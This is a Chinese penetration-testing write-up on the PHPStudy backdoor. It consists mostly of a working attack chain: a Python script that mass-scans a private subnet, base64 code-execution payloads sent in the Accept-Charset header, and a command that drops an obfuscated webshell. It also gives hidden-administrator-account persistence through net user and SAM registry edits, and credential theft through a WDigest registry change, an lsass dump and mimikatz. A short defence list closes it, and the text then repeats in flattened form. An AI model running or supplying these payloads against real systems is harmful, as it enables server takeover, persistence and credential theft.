记一次phpstudy后门引发的渗透测试
字数 995 2025-08-26 22:11:56

PHPStudy后门漏洞分析与渗透测试实战

漏洞概述

PHPStudy是一款流行的PHP集成环境软件,2019年被爆出存在后门漏洞。该后门允许攻击者在特定条件下执行任意PHP代码,导致服务器被完全控制。

漏洞检测

检测原理

后门存在于PHPStudy的特定版本中,当HTTP请求头中包含特定字段时,服务器会执行攻击者构造的代码:

  • 关键请求头:Accept-Charset: ZWNobyAiZGFvbGd0cyI7
  • 该Base64解码后为:echo "daolgts";
  • 如果服务器返回内容中包含"daolgts",则表明存在漏洞

检测脚本

import requests
import threading

def test(ip):
    url = "http://{}:80/index.php".format(ip)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
        "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
        "Accept-Charset": "ZWNobyAiZGFvbGd0cyI7",
        "Accept-Encoding": "gzip,deflate",
        "Connection": "close"
    }
    try:
        r = requests.get(url, headers=headers)
        if "daolgts" in r.content:
            print "[+] found \t " + ip
    except:
        pass

thread = []
for _ in range(1, 256):
    print "[-] ip :" + _ + "next..."
    for i in range(1, 256):
        ip = "192.168." + str(_) + "." + str(i)
        t = threading.Thread(target=test, args=(ip,))
        thread.append(t)
        t.start()

for x in thread:
    t.join()

漏洞利用

执行任意PHP代码

利用漏洞可以执行任意PHP代码,例如:

  1. 获取当前工作目录:
var_dump(getcwd());
dmFyX2R1bXAoZ2V0Y3dkKCkpOw==
  1. 目录遍历:
var_dump(scandir("C:\phpStudy2"));
var_dump(scandir("C:\phpStudy2\PHPTutorial"));
var_dump(scandir("C:\phpStudy2\PHPTutorial\WWW"));

写入Webshell

使用file_put_contents函数写入Webshell:

file_put_contents("C:\phpStudy2\PHPTutorial\WWW",base64_decode("PD9waHAgJGRHcWE9Y3JlYXRlX2Z1bmN0aW9uKGNocig0OTUtNDU5KS5iYXNlNjRfZGVjb2RlKCdjdz09JykuY2hyKDA0MTUtMDIzNikuc3RyX3JvdDEzKCd6JykuY2hyKDUyNzIyLzUyMiksc3RyX3JvdDEzKCdyJykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmNocig5OTktOTAyKS5jaHIoMHhjNzIwLzB4MWQ4KS5iYXNlNjRfZGVjb2RlKCdLQT09JykuY2hyKDAxMDMzLTA3NjcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5jaHIoMHgzMWMtMHgyYWQpLmJhc2U2NF9kZWNvZGUoJ2JRPT0nKS5jaHIoNDUxNDcvNDQ3KS5jaHIoMHg5NjExLzB4M2E5KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRkR3FhKGJhc2U2NF9kZWNvZGUoJ05UTXlNJy4nVE16TzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODI2MjAvOTcyKS5zdHJfcm90MTMoJ1InKS5jaHIoMHhkNi0weDlkKS5zdHJfcm90MTMoJ0cnKS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDB4MmE0LTB4MjVlKS5zdHJfcm90MTMoJ2cnKS5iYXNlNjRfZGVjb2RlKCdVUT09JykuY2hyKDA0NTE0MC8wMzQwKS5jaHIoMHg0ZjZmLzB4MTlmKS4nJy4ncERTSEInLidYVUYwcCcuJ096RTFPJy4nVFl6T1QnLidrNycuJycpKTs/Pg=="));

权限提升与持久化

添加隐藏用户

  1. 创建隐藏用户:
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add
  1. 注册表修改隐藏用户:
  • 打开注册表编辑器:regedit
  • 找到HKEY_LOCAL_MACHINE\SAM\SAM
  • 赋予administrator读写权限
  • 找到后门用户和administrator用户对应的目录
  • 将administrator对应目录中的F值复制到后门用户对应目录中的F值
  • 导出并保存defaultuser0$和其对应的0000003EA目录
  • 删除后门用户:net user defaultuser0$ /del
  • 重新导入注册表

密码抓取技巧

对于Windows Server 2012 R2及以上系统:

  1. 需要修改注册表才能抓取明文密码:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  1. 然后需要重启计算机,重新登录时才能抓到明文密码

  2. 使用工具抓取密码:

procdump64.exe -accepteula -ma lsass.exe 1.dmp

然后使用mimikatz读取:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

防御措施

  1. 立即升级PHPStudy到最新版本
  2. 检查服务器日志中是否有可疑的Accept-Charset: ZWNobyAiZGFvbGd0cyI7请求
  3. 定期检查服务器上的用户账户,特别是带有$符号的隐藏账户
  4. 限制远程桌面服务的访问
  5. 修改默认的MySQL和远程桌面端口
  6. 实施最小权限原则,避免使用管理员权限运行服务

总结

PHPStudy后门漏洞是一个严重的服务器安全威胁,攻击者可以利用它完全控制服务器。通过本文的分析,安全人员可以了解攻击者的利用手法,从而更好地防御此类攻击。同时,管理员应定期检查服务器安全配置,及时修补已知漏洞。

PHPStudy后门漏洞分析与渗透测试实战 漏洞概述 PHPStudy是一款流行的PHP集成环境软件,2019年被爆出存在后门漏洞。该后门允许攻击者在特定条件下执行任意PHP代码,导致服务器被完全控制。 漏洞检测 检测原理 后门存在于PHPStudy的特定版本中,当HTTP请求头中包含特定字段时,服务器会执行攻击者构造的代码: 关键请求头: Accept-Charset: ZWNobyAiZGFvbGd0cyI7 该Base64解码后为: echo "daolgts"; 如果服务器返回内容中包含"daolgts",则表明存在漏洞 检测脚本 漏洞利用 执行任意PHP代码 利用漏洞可以执行任意PHP代码,例如: 获取当前工作目录: 目录遍历: 写入Webshell 使用 file_put_contents 函数写入Webshell: 权限提升与持久化 添加隐藏用户 创建隐藏用户: 注册表修改隐藏用户: 打开注册表编辑器: regedit 找到 HKEY_LOCAL_MACHINE\SAM\SAM 赋予administrator读写权限 找到后门用户和administrator用户对应的目录 将administrator对应目录中的F值复制到后门用户对应目录中的F值 导出并保存defaultuser0$和其对应的0000003EA目录 删除后门用户: net user defaultuser0$ /del 重新导入注册表 密码抓取技巧 对于Windows Server 2012 R2及以上系统: 需要修改注册表才能抓取明文密码: 然后需要重启计算机,重新登录时才能抓到明文密码 使用工具抓取密码: 然后使用mimikatz读取: 防御措施 立即升级PHPStudy到最新版本 检查服务器日志中是否有可疑的 Accept-Charset: ZWNobyAiZGFvbGd0cyI7 请求 定期检查服务器上的用户账户,特别是带有 $ 符号的隐藏账户 限制远程桌面服务的访问 修改默认的MySQL和远程桌面端口 实施最小权限原则,避免使用管理员权限运行服务 总结 PHPStudy后门漏洞是一个严重的服务器安全威胁,攻击者可以利用它完全控制服务器。通过本文的分析,安全人员可以了解攻击者的利用手法,从而更好地防御此类攻击。同时,管理员应定期检查服务器安全配置,及时修补已知漏洞。